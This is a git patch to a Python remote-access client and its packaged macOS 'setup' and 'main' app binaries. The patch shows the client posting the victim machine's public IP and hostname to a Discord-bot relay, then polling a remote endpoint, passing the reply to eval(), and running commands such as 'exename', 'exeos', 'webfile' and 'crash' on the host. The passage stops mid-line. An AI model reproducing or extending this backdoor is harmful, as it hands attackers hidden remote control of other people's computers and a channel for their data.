From ad81e6f3c23075b2c7e562a0bd284814c1045d90 Mon Sep 17 00:00:00 2001 From: mrdog233o5 Date: Fri, 1 Sep 2023 09:43:25 +0800 Subject: multi file upload --- .DS_Store | Bin 6148 -> 6148 bytes dist/main-mac | Bin 7456816 -> 11068496 bytes dist/main.app.zip | Bin 7382235 -> 10953038 bytes dist/main.app/Contents/MacOS/main | Bin 7456816 -> 11068496 bytes dist/setup-mac | Bin 7447344 -> 11059232 bytes dist/setup.app.zip | Bin 7372312 -> 10943596 bytes dist/setup.app/Contents/MacOS/setup | Bin 7447344 -> 11059232 bytes main.py | 109 +++++++++++++++++++----------------- 8 files changed, 58 insertions(+), 51 deletions(-) diff --git a/.DS_Store b/.DS_Store index 1e1df0c..ed8d18e 100644 Binary files a/.DS_Store and b/.DS_Store differ diff --git a/dist/main-mac b/dist/main-mac index b59eccd..439dea9 100755 Binary files a/dist/main-mac and b/dist/main-mac differ diff --git a/dist/main.app.zip b/dist/main.app.zip index 6a85c50..81aae87 100644 Binary files a/dist/main.app.zip and b/dist/main.app.zip differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index 2875cb5..7e3b403 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup-mac b/dist/setup-mac index ef1c60d..90ceace 100755 Binary files a/dist/setup-mac and b/dist/setup-mac differ diff --git a/dist/setup.app.zip b/dist/setup.app.zip index fd6c28f..8baac2e 100644 Binary files a/dist/setup.app.zip and b/dist/setup.app.zip differ diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup index 8e37fad..96b77bb 100755 Binary files a/dist/setup.app/Contents/MacOS/setup and b/dist/setup.app/Contents/MacOS/setup differ diff --git a/main.py b/main.py index 1d4b8bf..103c6e4 100644 --- a/main.py +++ b/main.py @@ -1,26 +1,19 @@ -try: - from os import system as ossystem - from requests import get, post - from time import sleep - from subprocess import Popen as system - from subprocess import PIPE - from os import chdir, uname - from sys import platform +from os import system as ossystem +from requests import get, post +from time import sleep +from subprocess import Popen as system +from subprocess import PIPE +from os import chdir, uname +from sys import platform +import os - old_command = "" - command = "" - loop = 0 +old_command = "" +command = "" +loop = 0 - ip = get('https://api.ipify.org').content.decode('utf8') - hostname = uname()[1] - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`") -except KeyboardInterrupt: - try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``Client tried to SIGINT(Ctrl+C) when init``") - pass - except KeyboardInterrupt: - pass - pass +ip = get('https://api.ipify.org').content.decode('utf8') +hostname = uname()[1] +post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`") while True: @@ -32,7 +25,9 @@ while True: try: #get HTML try: - command = get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode() + commandGet = eval(get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode()) + commandId = commandGet[0] + command = commandGet[1] if command.startswith('Error: 429 - {"message": "You are being rate limited.", "retry_after":'): try: sleep(5) @@ -51,7 +46,7 @@ while True: sleep(3) continue localcmd = None - if old_command != command: + if old_command != commandId: try: if command == "": old_command = "" @@ -61,13 +56,25 @@ while True: else: loop = 1 continue + if command == "None": + old_command = "" + continue + if command.startswith("webfile "): + localcmd = command.split(maxsplit=1) + files = eval(localcmd[1]) + #for fileUrl in files: + # print(fileUrl) + old_command = commandId + #filename = os.path.basename(localcmd[1]) + #print(filename) + #ossystem("touch " + filename[0] + filename[1]) if command.startswith("exename "): localcmd = command.split() if localcmd[1] == hostname: del localcmd[:2] localcmd = ' '.join(localcmd) else: - old_command = command + old_command = commandId continue if command.startswith("exeos "): localcmd = command.split() @@ -75,17 +82,17 @@ while True: del localcmd[:2] localcmd = ' '.join(localcmd) else: - old_command = command + old_command = commandId continue - if command.startswith("crash"): - from os import fork - command = command.split() - if command[1